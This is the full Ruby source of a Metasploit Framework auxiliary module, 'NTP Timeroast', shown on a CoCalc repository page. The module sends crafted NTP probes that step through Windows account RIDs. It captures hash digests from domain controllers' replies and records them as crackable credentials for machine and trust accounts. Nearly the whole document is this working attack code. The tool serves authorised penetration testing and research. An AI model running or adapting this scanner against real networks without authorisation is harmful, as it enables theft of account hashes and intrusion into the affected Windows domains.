CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/ntp/timeroast.rb
Views: 15959
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::Scanner
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'NTP Timeroast',
16
'Description' => %q{
17
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
18
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
19
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
20
because RIDs are sequential, they can easily be enumerated.
21
},
22
'Author' => [
23
'Tom Tervoort',
24
'Spencer McIntyre'
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
['URL', 'https://github.com/SecuraBV/Timeroast/'],
29
['URL', 'https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf']
30
],
31
'Notes' => {
32
'Stability' => [],
33
'Reliability' => [],
34
'SideEffects' => []
35
}
36
)
37
)
38
register_options([
39
Opt::RPORT(123),
40
OptIntRange.new('RIDS', [ true, 'The RIDs to enumerate (e.g. 1000-2000).' ]),
41
OptInt.new('DELAY', [ true, 'The delay in milliseconds between attempts.', 20]),
42
OptInt.new('TIMEOUT', [ true, 'The timeout in seconds to wait at the end for replies.', 5])
43
])
44
end
45
46
def validate
47
super
48
49
errors = {}
50
errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 0
51
errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 0
52
raise ::Msf::OptionValidateError, errors unless errors.empty?
53
end
54
55
def build_ntp_probe(rid)
56
probe = Rex::Proto::NTP::Header::NTPHeader.new
57
probe.leap_indicator = 3
58
probe.version_number = 3
59
probe.mode = Rex::Proto::NTP::Mode::CLIENT
60
probe.key_identifier = [rid].pack('L>').unpack1('L<') # NTP uses big endian but MS uses little endian for this one field
61
probe.message_digest = Random.random_bytes(OpenSSL::Digest.new('MD5').digest_length).unpack('C*')
62
probe
63
end
64
65
def recv_response(timeout: 0)
66
begin
67
raw, = udp_sock.recvfrom(68, timeout) # 68 is always the number of bytes expected
68
rescue ::Rex::SocketError, ::IOError
69
return nil
70
end
71
72
return nil if raw.empty?
73
74
Rex::Proto::NTP::Header::NTPHeader.read(raw)
75
end
76
77
def run_host(_ip)
78
connect_udp
79
80
delay = datastore['DELAY'].to_i
81
pending = 0
82
83
Msf::OptIntRange.parse(datastore['RIDS']).each do |rid|
84
vprint_status("Checking RID: #{rid}")
85
probe = build_ntp_probe(rid)
86
udp_sock.put(probe.to_binary_s)
87
pending += 1
88
89
sleep(delay / 1000.0)
90
91
response = recv_response
92
next unless response
93
94
process_response(response)
95
pending -= 1
96
end
97
98
return if pending == 0
99
100
print_status("Waiting on #{pending} pending responses...")
101
remaining = 10
102
while remaining > 0 && pending > 0
103
response, elapsed_time = Rex::Stopwatch.elapsed_time do
104
recv_response(timeout: remaining)
105
end
106
remaining -= elapsed_time
107
next unless response
108
109
process_response(response)
110
pending -= 1
111
end
112
ensure
113
disconnect_udp
114
end
115
116
def process_response(response)
117
resp_rid = [response.key_identifier].pack('L<').unpack1('L>')
118
message_digest = response.message_digest.pack('C*')
119
salt = response.to_binary_s[0...response.offset_of(response.key_identifier)]
120
hash = "$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}"
121
122
print_good("Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}")
123
report_hash(hash)
124
end
125
126
def report_hash(hash)
127
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
128
service_data = {
129
address: rhost,
130
port: rport,
131
service_name: 'ntp',
132
protocol: 'udp',
133
workspace_id: myworkspace_id
134
}
135
credential_data = {
136
module_fullname: fullname,
137
origin_type: :service,
138
private_data: hash,
139
private_type: :nonreplayable_hash,
140
jtr_format: jtr_format
141
}.merge(service_data)
142
143
credential_core = create_credential(credential_data)
144
145
login_data = {
146
core: credential_core,
147
status: Metasploit::Model::Login::Status::UNTRIED
148
}.merge(service_data)
149
150
create_credential_login(login_data)
151
end
152
end
153
154